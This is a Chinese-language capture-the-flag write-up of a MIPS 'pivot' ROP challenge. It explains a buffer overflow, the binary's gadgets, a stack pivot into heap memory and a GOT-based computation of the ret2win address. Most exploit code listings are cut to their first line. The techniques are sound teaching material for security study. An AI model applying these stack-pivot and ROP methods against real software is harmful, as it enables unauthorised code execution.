如下是存在溢出的pwnme函数,反汇编可以看到返回地址保存在sp+0x3c,缓冲区起始地址在sp+0x18。第一个read函数是写入到a1指针,是一个堆内存;第二个read是真正的控制溢出,但是只能写入0x28个字节,也就是说,最多只能控制到sp+0x40,也就是覆盖到返回地址再多4个字节。空间不够用,无法直接在栈上布置ROP链。
1 | int __fastcall pwnme(void *a1) |
在libpivot_mipsel.so中有ret2win函数,但是在pivot_mipsel中无法直接调用,因此就没有办法使用ret2win的手法。
此时再看这个题目内置的gadgets:
- 00400CA0:可控制t0寄存器的值
- 00400CB0:可控制t1和t2两个寄存器的值,然后将t2中的值指向的内存值赋值给t1
- 00400CC4:t0+t1->t9,然后跳转到t9执行
- 00400CD0:将fp寄存器中的值赋值给sp寄存器,开辟栈帧
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21.text:00400CA0 usefulGadgets:
.text:00400CA0 lw $t9, 8($sp). # load_offset
.text:00400CA4 lw $t0, 4($sp)
.text:00400CA8 jalr $t9
.text:00400CAC addiu $sp, 0xC
.text:00400CAC
.text:00400CB0 lw $t9, 8($sp) # read_got
.text:00400CB4 lw $t2, 4($sp)
.text:00400CB8 lw $t1, 0($t2)
.text:00400CBC jalr $t9
.text:00400CC0 addiu $sp, 0xC
.text:00400CC0
.text:00400CC4 add $t9, $t0, $t1. # add_jump
.text:00400CC8 jalr $t9
.text:00400CCC addiu $sp, 4
.text:00400CCC
.text:00400CD0 move $sp, $fp # stack_pivot
.text:00400CD4 lw $ra, 8($sp)
.text:00400CD8 lw $fp, 4($sp)
.text:00400CDC jr $ra
.text:00400CE0 addiu $sp, 0xC
再看看pwnme函数在执行完毕恢复栈帧时的反汇编代码:缓冲区溢出实际上可以控制ra寄存器(sp+0x3c)和fp寄存器(sp+0x38)。
1 | .text:00400C44 move $sp, $fp |
回顾一下:对动态加载函数的调用会跳转到PLT,函数的第一次调用会使用库函数的实际地址填充到GOT表中。后续调用函数的时候就会直接跳转到GOT表中的库函数实际地址运行。如果知道某一个库函数的实际加载地址,并且知道加载函数和要调用的目标函数的偏移量,就可以计算出来目标函数的实际地址。
那么利用的思路就清晰起来了:
- 在pwnme函数中使用缓冲区溢出控制fp寄存器(开辟新栈)和ra寄存器(劫持控制流)
- 调用stack_pivot开辟新的栈帧到堆内存空间,堆内存空间地址可以通过打印信息获取
- 通过plt调用一次foothold_function,这样got表就被填充了
- 读取got表中的值,通过foothold_function和ret2win函数的偏移,计算并跳转到ret2win执行
利用
在pwnme函数缓冲区溢出,劫持控制流到stack_pivot。此时还可以顺便控制了fp寄存器,用于stack_pivot开辟栈帧到堆内存空间中。
1 | rop = b"A" * 0x20 # |
到了堆内存空间,此时新的栈就已经布局完成。load_offset一共要使用两次,原本的作用是从栈中恢复ret2win函数与foothold函数的偏移到t0寄存器。第一次调用就纯粹是起到通过plt首次调用foothold函数,使得其地址可以加载到got表中。
1 | rop1 = b"A" * 8 |
通过plt调用foothold函数。
1 | rop1 += b"A" * 4 |
当从plt执行完foothold返回后,会自动跳转到0x00400CB0,读取got表中保存的foothold函数地址到t1寄存器。下一个rop就是再次执行load_offset函数,因为第一次执行load_offset加载到t0的偏移,因为t0在其他地方被使用过,清零了。
1 | rop1 += b"A" * 4 |
通过add_jump,ret2win函数地址 = foothold函数地址 + 二者的偏移。
1 | rop1 += b"A" * 4 |
exp
1 | from pwn import * |
执行结果如下:
1 | [*] '/home/utest/rop_practice/mipsel/pivot_mipsel/pivot_mipsel' |